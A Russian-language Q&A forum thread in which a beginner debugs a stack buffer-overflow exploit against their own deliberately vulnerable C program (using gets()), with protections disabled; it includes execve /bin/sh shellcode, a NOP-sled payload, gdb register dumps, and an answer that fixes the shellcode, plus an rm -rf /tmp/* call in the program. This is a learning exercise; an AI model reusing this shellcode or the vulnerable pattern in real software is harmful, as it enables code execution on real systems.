Linux: переполнение буфера простой C-программы дает SIGBUS - PullRequest
0 голосов
/ 25 апреля 2018

Я новичок в бинарной эксплуатации, и я тренируюсь для эксплуатации переполнения буфера. Я сделал бесполезную короткую программу на C:

#include <stdio.h>
#include <stdlib.h>

int main(void) {
    setbuf(stdout, NULL);
    char buffer[64];
    puts("\nWELCOME TO THE REMOTE TEMP CLEANER SERVICE\n");
    printf("Please enter a password: ");
    gets(buffer);
    puts("\n");
    if(strcmp(buffer, "securepassword1234") == 0) {
        puts("[+] Password correct.");
        puts("[*] Cleaning temp folder..");
        system("/bin/rm -rf /tmp/*");
        puts("[+] Done!");
        puts("[*] Disconnecting...");
        return 0;
    } else {
        puts("[-] Incorrect password.");
        puts("[*] Disconnecting...");
        return 1;
    }
    return 0;
}

в учебных целях, и я пытаюсь использовать в нем уязвимость переполнения буфера. Я сделал echo 0 > /proc/sys/kernel/randomize_via_space и скомпилировал с помощью gcc, используя флаги -fno-stack-protector и -z execstack.

Я запустил GDB, и после некоторых исследований попытался запустить программу с этим вводом

На другом терминале:

echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x42\x42\x42\x42\x42\x42")'` > input

(Таким образом, nopslide + шелл-код + обратный адрес, который в настоящее время только 6 раз \ x42 для целей тестирования. Я нашел шелл-код в http://shell -storm.org / shellcode / files / shellcode- 806.php , я использовал этот, потому что я на 64-битной системе)

В GDB: r < input

И это дало мне такой результат:

Starting program: /root/remotetempclean < input

WELCOME TO THE REMOTE TEMP CLEANER SERVICE

Please enter a password: 

[-] Incorrect password.
[*] Disconnecting...

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb)  
(gdb) 
(gdb) 
(gdb) 
(gdb) info register
rax            0x1  1
rbx            0x0  0
rcx            0x7ffff7b06134   140737348919604
rdx            0x7ffff7dd48c0   140737351862464
rsi            0x7ffff7dd37e3   140737351858147
rdi            0x0  0
rbp            0x50f3bb05e545752    0x50f3bb05e545752
rsp            0x7fffffffe1d0   0x7fffffffe1d0
r8             0x7ffff7fd14c0   140737353946304
r9             0x0  0
r10            0x88b    2187
r11            0x246    582
r12            0x5555555546e0   93824992233184
r13            0x7fffffffe2a0   140737488347808
r14            0x0  0
r15            0x0  0
rip            0x424242424242   0x424242424242
eflags         0x10202  [ IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
---Type <return> to continue, or q <return> to quit---
gs             0x0  0
(gdb)  

Таким образом, регистр RIP был успешно перезаписан 0x42 байтами. Поэтому после этого я проверил стек в поисках нового обратного адреса в моем nopslide:

(gdb) x/50x $rsp-65
0x7fffffffe18f: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe19f: 0x90909090  0x90909090  0x90909090  0xc0319090
0x7fffffffe1af: 0x9dd1bb48  0x8cd09196  0xf748ff97  0x5f5453db
0x7fffffffe1bf: 0x54575299  0x0f3bb05e  0x42424205  0x00424242
0x7fffffffe1cf: 0x00000000  0x00000000  0xffe2a800  0x007fffff
0x7fffffffe1df: 0x04000000  0x00000100  0x5547ea00  0x00555555
0x7fffffffe1ef: 0x00000000  0x00000000  0xdc57b600  0x7da82efc
0x7fffffffe1ff: 0x5546e040  0x00555555  0xffe2a000  0x007fffff
0x7fffffffe20f: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffe21f: 0xfc57b600  0x28fd7bae  0x2257b615  0x28edc399
0x7fffffffe22f: 0x00000015  0x00000000  0x00000000  0x00000000
0x7fffffffe23f: 0x00000000  0x00000000  0xffe2b800  0x007fffff
0x7fffffffe24f: 0xffe17000  0x007ffff7

Так что этот 0x7fffffffe18f адрес выглядел хорошо, он был в середине нопслида. Поэтому я изменил ввод:

echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x8f\xe1\xff\xff\xff\x7f")'` > input

Так что теперь я думаю, что у меня должна быть оболочка, но когда я запускаю программу ...

(gdb) r < input
Starting program: /root/remotetempclean < input

WELCOME TO THE REMOTE TEMP CLEANER SERVICE

Please enter a password: 

[-] Incorrect password.
[*] Disconnecting...

Program received signal SIGBUS, Bus error.
0x00007fffffffe1c0 in ?? ()
(gdb) info registers
rax            0x0  0
rbx            0x68732f6e69622f 29400045130965551
rcx            0x7ffff7b06134   140737348919604
rdx            0x0  0
rsi            0x7ffff7dd37e3   140737351858147
rdi            0x7fffffffe1c8   140737488347592
rbp            0x50f3bb05e545752    0x50f3bb05e545752
rsp            0x7fffffffe1c8   0x7fffffffe1c8
r8             0x7ffff7fd14c0   140737353946304
r9             0x0  0
r10            0x88b    2187
r11            0x246    582
r12            0x5555555546e0   93824992233184
r13            0x7fffffffe2a0   140737488347808
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe1c0   0x7fffffffe1c0
eflags         0x10213  [ CF AF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
---Type <return> to continue, or q <return> to quit---
gs             0x0  0
(gdb) 

RIP "волшебным образом" превратился в 0x7fffffffe1c0? И это дает SIGBUS, и я не могу понять, почему ... Что я делаю не так?

1 Ответ

0 голосов
/ 26 апреля 2018

Проблема:

  1. Вы кладете исполняемый код в стек,
  2. Вы звоните puts, который перезаписывает стек,
  3. Вы возвращаетесь к (теперь поврежденному) коду в стеке.

Когда я закомментирую весь код после gets (на самом деле просто возвращаем сразу после него), тогда код оболочки остается неизменным ... только для того, чтобы быть поврежденным самой , когда он выполняет push es - это очень странно, потому что ваши $rsp и $rip указывают на одно и то же место.

Добавление sub $40,$rsp (байт: \x48\x83\xec\x40) к началу шелл-кода решает эту проблему.

...